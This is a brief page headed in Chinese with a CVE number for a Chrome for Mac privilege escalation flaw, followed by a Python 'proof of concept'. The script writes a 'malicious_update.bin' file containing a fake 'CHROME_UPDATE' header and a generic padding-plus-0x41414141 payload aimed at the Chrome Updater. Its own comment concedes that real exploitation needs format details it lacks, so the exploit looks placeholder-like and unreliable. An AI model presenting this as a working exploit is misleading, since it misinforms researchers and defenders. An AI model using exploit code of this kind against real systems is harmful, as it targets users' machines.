CVE-2026-7997 Google Chrome Mac版权限提升漏洞

import os import struct # Proof of Concept for CVE-2026-7997 # This script creates a crafted file intended to trigger insufficient validation. # Note: Actual exploitation requires specific file format details. def create_malicious_file(filename): # Header mimicking a valid structure expected by the Updater header = b"CHROME_UPDATE" # Malicious payload designed to bypass validation payload = b"A" * 256 + struct.pack('<I', 0x41414141) with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Malicious file '{filename}' created.") print("[!] Requires user interaction to trigger via Chrome Updater.") if __name__ == "__main__": create_malicious_file("malicious_update.bin")